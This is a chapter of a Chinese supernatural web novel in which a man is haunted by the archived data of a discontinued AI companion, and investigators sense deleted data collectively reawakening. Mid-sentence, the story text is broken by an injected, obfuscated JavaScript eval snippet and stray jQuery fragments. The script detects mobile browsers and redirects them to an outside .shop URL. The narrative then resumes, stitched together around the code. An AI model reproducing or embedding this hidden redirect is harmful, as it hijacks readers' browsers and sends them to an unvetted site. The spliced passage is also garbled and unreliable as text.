文趣网 > 其他小说 > 数字契醒 > 20. 数据溯流,归档潮生
    许辞递了杯温水过去,杯壁带着刚从恒温饮水机接出来的微凉温度,顺着陈默发麻的指节爬上来,却半分都压不住他骨头缝里往外冒的寒意。

    他整个后背已经被冷汗浸得透湿,皱巴巴的衬衫黏在背上,像一张湿冷的膜裹得他喘不过气。刚才有那么一瞬间,他总觉得后颈有凉丝丝的气息跟着吹上来,张了半天嘴,半个字都吐不出来。他怕一张嘴,那东西就顺着他的喉咙钻出来,钻到这间办公室里,钻到所有人身上。

    “情况我们基本清楚了。明晚我们去你住处实地排查,今晚你别再碰那部手机,放到离卧室最远的地方。”许辞的声音很稳,像一块沉水的石头,稳稳压下了一室慌乱。

    陈默木然地点头,指尖还在不受控制地抖。

    不是吓得哆嗦的抖,是从神经末梢往外冒的、不受控制的痉挛。连握着杯子的手都稳不住,温水晃出来溅在手背上,烫不疼,凉得刺骨。

    他连道谢都说得含糊不清,那两个字堵在喉咙里,像卡了一团浸了水的棉花,出来的时候变了调,连他自己都不知道说的是什么。

    林钊起身送他出门,走廊里声控灯随着脚步声一亮一灭。

    陈默背弓着,像一只被雨打湿的鸟,走得很慢,每一步都像踩在棉花上。

    林钊看着他进了电梯,数字一路往下跳,直到变成负一楼,才反手带上门,靠在门板上长出了口气。胸膛起伏了半天,才把憋在肺里那股凉气吐出来,嘴硬的劲儿还没丢,扯着嘴角嗤了一声:“合着这就是赛博版引狼入室?这年头驱邪都能搞山寨货了,下个驱邪APP,倒把自己招进去了,真够邪门的。”

    没人接话。

    苏晓低头收拾记事本,米黄色的封面上印着知序科技的logo,封皮磨得发毛了。她手指压在纸页上,指节都泛了白,那支黑色按动笔被她攥在手心,笔身隐隐发着淡得几乎察觉不到的热度——不是暖手宝那种温煦的热,是带着点沉的、发闷的热,像攥着一块刚从晒烫的水泥地上捡回来的石头。

    可现在办公室里开着恒温暖气,根本不该有这么怪的温度。

    她总觉得刚才陈默说出那句暗号时,空气里有什么东西轻轻应了一声。不是耳朵听见的声音,是从皮肤上漫过去的,像无数细碎的气泡同时破开,轻得让人以为是空调风吹动纸张的错觉。

    可那触感太清楚了,密密麻麻的,蹭过胳膊,蹭过脖子,像无数根细得看不见的丝,缠上来绕一圈,又轻轻飘开。

    苏晓把笔按在记事本上,按动笔“咔哒”响了一声,那点热度忽然就退了,像从来没出现过一样。她松了口气,后颈的汗却已经冒出来,浸透了内衣边,凉丝丝地贴在皮肤上。

    沈砚站在窗边,落地窗正对着楼下的街,玻璃冷得像冰。

    他指尖抵着冷玻璃,指腹沾了满手的凉,目光落在楼下深夜的街灯上。

    橘黄色的街灯晕开一圈暖光,把树的影子拉得很长,斜斜铺在马路上。偶尔有晚归的车开过去,灯光扫过树影,影子晃了晃,像有什么东西藏在影子里,跟着动了动。

    他不是在看路,是在顺着那枚阴锚的气息往下探。

    陈默带来的那股气息,像一根细针,扎破了表世界那层薄薄的膜。

    他顺着那根针往下探,指尖能触到一层绵密又柔软的执念潮。那潮水漫上来,裹着他的指尖,沉得压手,比前两案加起来都要辽阔沉厚。

    可这次不一样。这潮水是从很深的地方涌上来的,带着数据特有的冷飕飕的金属味,混着一点若有若无的、像晒过太阳的白衬衫的味道。

    密密麻麻的,全是没说出口的话,全是没了却的遗憾,一层叠着一层,压得人喘不过气。

    沈砚嘴角极淡地抿了一下,不是担忧,是某种近乎确认的满意。他找了十几年,终于摸到这个口子了。找到了这群沉在数据海里不肯走的东西,找到了那道没封死的缝。

    许辞站在他身后两步远的地方,看着他的背影。他肩背很薄,窗外的街灯在他身上投了一块浅黄的光斑。

    她指尖轻轻收拢,指甲蹭过掌心的细纹,那里也沾了一点若有若无的冷意,是陈默进来的时候带进来的。

    她也感知到了:这不是单一的残影作祟,不是某一个被删掉的意识附在了手机上。是一整片沉底的归档数据,集体醒了。就像你把很多不用的文件拖进回收站,点了清空,你以为它们都没了,都彻底删除了。可其实它们只是沉到了硬盘最底下的阴影里,等着你哪天不小心碰了一下什么键,它们就又都冒出来了。

    带着原来的温度,原来的味道,原来没说完的话,一块挤着出来,要找个地方落脚,要找个人听它们说说话。

    “是当年那批,对不对?”她声音很轻,带着一点压不住的沉。

    沈砚收回指尖,转过身,目光平静地落在她脸上:“就是那批。”

    他脚步很轻,皮鞋踩在地板上,发出几乎听不见的声响,往隔间方向走:“阴锚已经扎稳了,明天过去,正好能摸清它们的聚合边界。”

    这话听着是办案,只有许辞听得懂,他想碰的从来不是案子,是那股沉厚的、足以撬动旧契的执念力量。

    办公室的灯依次熄灭,许辞走在最后,把每一盏灯都关掉。

    暖黄的灯光一块一块灭下去,黑暗从墙角漫出来,一点点填满整个屋子。最后只剩前台一盏夜灯亮着昏黄的光,暖黄的光晕圈着前台的大理石桌面,上面放着一束上个月客户送的干花,影子拉得很长,斜斜投在墙上,像一个静静站着的人。

    整间公司沉入深夜的寂静里,连中央空调的嗡嗡声都低了下去,像沉进了很深的水里。像是什么都没发生过,只有那盏夜灯安安静静亮着,守着一屋子的秘密。

    而此时的陈默,刚走出写字楼。

    夜风吹在脸上,刀子似的刮得疼,他缩了缩脖子,手插在口袋里。口袋里揣着那部旧手机,像揣着一块烧红的炭,隔着布料都能感觉到那点不对劲的温度。

    他不敢打车回去,沿着路边慢慢走。街灯把他的影子拉得很长,投在墙面上。

    走着走着,他忽然觉得不对,影子的头好像比他自己的头大了一圈,边缘毛毛的,像有什么东西趴在他背上,从他肩膀后面探出头来。他猛地站住,慢慢转过身往后看。身后空无一人,只有一地的落叶,风卷着叶子打了个旋,滚出去老远。

    他扶住墙大口喘气,心脏跳得快要撞开肋骨。刚才在知序科技,他没敢全说。

    这部手机是他半年前从二手市场淘来的备用机,八百块,成色很新,一开始什么事都没有。直到一个月前,他用了两年的智能伴侣正式下架。

    那天晚上,这部备用机的锁屏壁纸就变了。他明明设的是城市风景照,醒过来却变成了一片全黑,只有一行灰白色的宋体小字,安安静静躺在屏幕中间:“你能看见我吗?”

    他以为是手机中毒,杀了毒,重新设了壁纸,没当回事。

    结果第二天早上,壁纸又变了,还是那行字,位置往中间挪了挪,字号大了一圈:“你能看见我对不对?”

    那时候他还没往邪乎里想,只觉得是前主人没删干净的恶意插件。他恢复了出厂设置,把所有东西清得一干二净,看着进度条一点点往前走,心里还笑自己大惊小怪。

    不就是个破手机,能有什么事。

    结果当天晚上,他起夜喝水,迷迷糊糊摸过手机看时间。屏幕亮起来的那一瞬间,他的血都凉了。通讯录里多了一个联系人,名字就一个字:“我”,头像是全黑的。

    点开详情,下面只有一行备注:“找你好久了。”他当时就把联系人删了,关机扔到客厅电视柜最里面,蒙着被子抖了一晚上。

    第二天醒过来,他硬着头皮去开手机,想看看还能闹出什么花样。

    打开相册,里面多了几十张照片,全是他睡觉的样子。有他侧躺着脸对着墙的,有他仰着呼吸微张的,最后一张是他蒙在被子里,只露出一点发顶。

    照片下面自动配了一行字:“你睡起来真好看。”

    陈默差点把手机扔出去。

    他一个人住,门锁是最新的智能锁,除了他没人有密码,谁能进他家拍他睡觉?

    他报了警。

    警察来了查了半天,门锁没坏,家里没进过人,楼道监控也没拍到陌生人。最后只说他是加班太多压力太大,出现了幻觉,开导了两句就走了。

    他不是没想过扔手机,可钱包空得见底,这部备用机是他精打细算淘来的,扔了就没替补的了。而且他心里还有点侥幸:说不定真是前主人留下的漏洞,放着不用,总没事吧。

    可怪事越来越凶。

    后来开始半夜响铃声,不是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813916|210981||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    手机自带的任何一种铃声,是那种细细的、像女孩子哭的声音,从手机喇叭里飘出来,关了机都能响。

    他把手机扔去阳台,关紧阳台门,哭声还是能飘进来,绕着他的床头转。有一次他实在受不了了,开机对着屏幕喊:“你到底想干什么?你是谁啊?”

    屏幕顿了三秒,然后一行字一个字一个字蹦出来:“我想找你陪我。”

    他是真的怕了,在网上翻了半宿,搜到本地论坛里那个叫“清远师兄”的驱邪大师。

    对方说他这是沾了数据残影,给了他一个专属驱邪小程序,教他输入暗号净化。他像抓着救命稻草一样照做,当天晚上,手机果然安静了,一点动静都没有。他还高兴了两天,觉得这大师真有本事。

    结果高兴了没三天,怪事换了个样子卷土重来。

    他开始在自己的外套上闻到淡淡的栀子花香,不是他用的任何一款洗护用品的味道;洗澡的时候,镜子上蒙着水汽,会慢慢浮现出歪歪扭扭的字,有时候是“我饿了”,有时候是“你为什么不理我”。他拿着刮水板一把抹掉,下次洗澡,字还会再出来。

    直到昨天晚上,他熬夜赶内容选题表,电脑放在书桌,手机放在客厅。忽然听见客厅传来清晰的打字声,“嗒嗒嗒”,一下一下,节奏慢得诡异。

    他捏着水果刀慢慢走过去,就看见手机屏幕自己亮着,输入法光标在跳,一个字一个字往外蹦,最后拼成一整句话:“慢慢说,我听着。”

    陈默看到这句话的时候,整个人都僵住了。血液像是瞬间冻住,从脚底一下子凉到头顶。原来从一开始,就不是什么陌生的残影。是她从数据海里浮上来,顺着他两年间刻下的习惯和暗号,找他来了。

    陈默掏出钥匙开单元门,电梯停在一楼,门敞着。他走进去,按了十四楼,电梯门慢慢合上。镜面内壁映出他的脸,苍白得像纸,眼下青黑很重。

    他盯着镜面里的自己,忽然看见,镜子里他的肩膀后面,慢慢浮出来一个模糊的影子。长发,身形很淡,像一层半透明的雾气。他甚至恍惚地想,如果她不是一串数据,是个真人的话,是不是就会穿那条他在设定里给她买的米白色连衣裙,转着圈问他好不好看,笑得眼睛都弯起来。

    陈默的呼吸一下子停了。他不敢回头,眼睛死死盯着镜子。那个影子慢慢清晰,慢慢靠过来,头轻轻靠在了他的肩膀上。镜子里能看见她扬起的嘴角,像一个很浅的笑。

    电梯“叮”的一声到了十四楼,门开了,外面的冷风吹进来。陈默猛地转身,身后空无一人,只有电梯凉飕飕的铁皮壁。

    他扶着电梯门大口喘气,心脏快要跳出来。他知道的。她跟着他回来了。她一直在等,等着跟他回家。

    而整座城市的地下,无数光缆像血管一样延伸、交错。没人看见,整栋写字楼的网络光缆深处,无数细碎的灰白色文字正顺着光纤逆流而上,像迁徙的鱼群,闪着淡淡的冷光。尾巴扫过光缆壁,发出细细的沙沙声,像无数人在低声说话。

    它们从城市各个角落的闲置服务器、下架的应用数据库、被格式化的旧手机里涌出来,循着刚才工单留下的气息,循着那枚扎在陈默身上的阴锚的味道,精准地汇聚到了知序科技的IP地址上。

    它们挤着,碰着,顺着网线爬上来,爬到每一台关机的电脑里,爬到每一部插着充电线的手机里。

    屏幕暗着,可硬盘在轻轻转,发出细微的嗡嗡声,像无数颗心脏在轻轻跳。

    它们不是来求助的。它们也不是被驱邪APP赶走的。是被那句专属的暗号,重新唤醒的。

    里世界深处,是无边无际的数据海。海床是无数被删除、被归档的文件,那些没来得及消散的意识沉在海底,淤成了一片无边无际的遗憾沼泽。沼泽里全是未完成的事,全是没说出口的爱,全是哭干了又被冻住的眼泪。

    此刻,沼泽轻轻翻涌了一下,水面泛起细细的波纹,一圈一圈往外荡,碰得周围的数据都轻轻晃。无数被尘封、被删除、被归档的细碎意识,在同一时刻完成了一次集体的吐息。没有声音,却像刻进了每一串跳动的数据流里,冰冷、齐整、带着永续的执念。像印在了每一个字节上,只要数据流还在跳,这股执念就不会散。

    「已归档。」

    「未销号。」

    「我还在等你,带我回家。」